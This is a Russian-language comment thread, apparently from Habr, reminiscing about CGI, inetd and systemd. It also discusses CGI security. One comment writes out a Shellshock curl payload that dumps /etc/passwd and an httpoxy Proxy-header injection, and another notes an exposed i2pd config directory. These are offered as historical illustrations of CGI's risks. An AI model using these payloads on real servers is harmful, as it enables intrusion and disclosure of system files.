Comments 22
vipw, /etc/rc.local, Apache... повеяло чем-то теплым и ламповым.
Единственный нюанс с i2pd - он ищет конфиги в домашнем каталоге, в ~/.i2pd, а для данного юзера это каталог /var/www
Попробуйте дернуть файл https://ваш_сайт/.i2pd
Спасибо, поностальгировал :)
echo "Content-Type: text/html";
В этом месте можно сказать text/plain и убрать все эти ненужные теги <pre>. Так будет лакончинее :)
Копи-паста наше фсё )
В архиве-то так было!
ещё был этот же подход на системном уровне, было два демона
inet.d и xinet.d
эти штуки позволяли запускать сетевые сервера/процессы по мере того, как к ним появляются запросы из сети.
то есть этакий апач, запускаемый on-demand :)
Ну не совсем апач, даже совсем не апач, но очень удобная вещь, да.
Когда надо принять по сети пакет и обработать - и писать кроме самой обработки данных еще и работу с сетью, прием данных, создание потоков, вот это всё - когда можно просто использовать inet.d.
Не понимаю, кому он помешал. Видимо, пришельцам из мира Windows, где "программа" должна быть непременно "интегрированной" и включать в себя всё, от работы с клавиатурой до управления сокетами.
Или тем программистам, которым разрешили пользоваться портами "выше 1000", а настраивать inetd.conf не разрешили.
Монолит вместо микросервисов
Ну не совсем апач, даже совсем не апач
апач сперва принимал соединение, вычитывал заголовки, затем запускал ваш скрипт
inetd принимал соединение и сразу запускал ваш скрипт
то есть аналогия сильная, особенно в контексте запуска именно скриптов.
что интересно: до сих пор остаётся огромное количество серверов, которые в любом случае держат процесс (а то и не один) на каждое соединение. ssh например, openvpn и так далее.
Такие вещи могли бы и сегодня могли бы пускаться через inetd
Не понимаю, кому он помешал. Видимо, пришельцам из мира Windows
любителям декларативных языков и декларативности вообще
вот был у нас SysVinit. В нём был bash. Чтобы изучить bash пользователь должен был разобраться в десяти (прописью: десяти) конструкциях и нюансах. после этого начинал спокойно писать на bash
пришли любители декларативности и заменили SysVInit с башем на systemd.
Сейчас один справочник-перечень всех возможных директив в юнитах systemd занимает более 6000 наименований:
https://www.freedesktop.org/software/systemd/man/latest/systemd.directives.html
Цитата оттуда:
This index contains 6467 entries in 24 sections, referring to 413 individual manual pages.
Ну и заради "вроде бы понятной" декларативности, убили и bash и inetd и многие хорошие вещи в Unix, вроде, например, syslog'а. Ума не приложу, кому пришло в голову писать логи в двоичные файлы, но вот что есть, то теперь есть.
А если в начинку не лезть - то и не видно, что это древний допотопный CGI.
а если подумать над философией, то современные lambda функции в облаках - это как раз инкарнация CGI на современном уровне
CGI как технологией, использовавшейся в начале веб-времен
А мне почему то кажется, что практически на всех web сайтах технология CGI и используется до сих пор. Возможно, путаницу вносит то, что даже в описании фигурирует слово "Скрипт", но на самом деле это понятие определено в явном виде (ниже кусок из RFC 3875) и скриптом может быть процедура в серверном приложении. CGI - это набор условий, интерфейс, и в целом большинство действующих серверов их и выполняют. Залезьте в отладчик в браузере и увидите тот самый CGI интерфейс.
'script' The software that is invoked by the server according to this interface. It need not be a standalone program, but could be a dynamically-loaded or shared library, or even a subroutine in the server. It might be a set of statements interpreted at run-time, as the term 'script' is frequently understood, but that is not a requirement and within the context of this specification the term has the broader definition stated.
'script' Программное обеспечение, которое вызывается сервером в соответствии с этим интерфейсом. Это не обязательно должна быть отдельная программа, но может быть динамически загружаемая или разделяемая библиотека или даже подпрограмма на сервере. Это может быть набор операторов, интерпретируемых во время выполнения, поскольку термин «скрипт» часто понимается, но это не является требованием, и в контексте данной спецификации термин имеет более широкое определение.
Когда-то можно было делать вот так:
curl --user-agent '() { :;}; echo -ne "Content-Type: text/plain\r\n\r\n"; /bin/cat /etc/passwd' http://xx.xx.xx.xx/cgi-bin/env.cgiИ вот так:
curl --header 'Proxy: 192.0.2.222' http://xx.xx.xx.xx/cgi-bin/check_one.cgiCGI, в особенности вместе с Shell, опасен слишком широкими возможностями для манипуляции окружением снаружи. Тяжело заранее узнать, не будет ли одна из программ, вызываемых CGI-скриптом, каким-то неожиданным для разработчика образом интерпретировать переменные окружения.
Да, не без этого. Учитывая что env.cgi по умолчанию шло в комплекте...
В частности поэтому в скриптах на Perl встречалась конструкция $ENV={} или как-то так.
А в данном случае можно добавить вот такое:
# сохраним строку запроса
q=$QUERY_STRING
# все остальное удалим
unset $(env | cut -d= -f1)
...
# используем
echo ${q}ой ну дырки в ОБОБЩЁННЫХ решениях — рядовое дело, просто не нужно давать eval в сеть и код через запросы выполнять и всё
CGI настолько хорошо забыли, что даже неоднократно переизобрели:
Собственно, нагуглил это все как только понял, что моя задача отлично ложится на модель CGI - и после этого стало интересно, нет ли других реализаций кроме apache/lighttpd/openresty?
Технологии древних.
не так уж и забыта "технология"
из старой камеры этим шлюзом картинку в браузер выковыривал.
в скрипте *.sh
ffmpeg -rtsp_transport tcp -i "rtsp://${FORM_username}:${FORM_password}@127.0.0.1:554/stream1" -c:v mjpeg -map 0:v -strict -2 -c:a aac -map 0:a -loglevel 0 -f nut - 2> /tmp/out.txt
а весь выхлоп браузер сам понимает как вполне себе живое видео.
Забытые технологии: CGI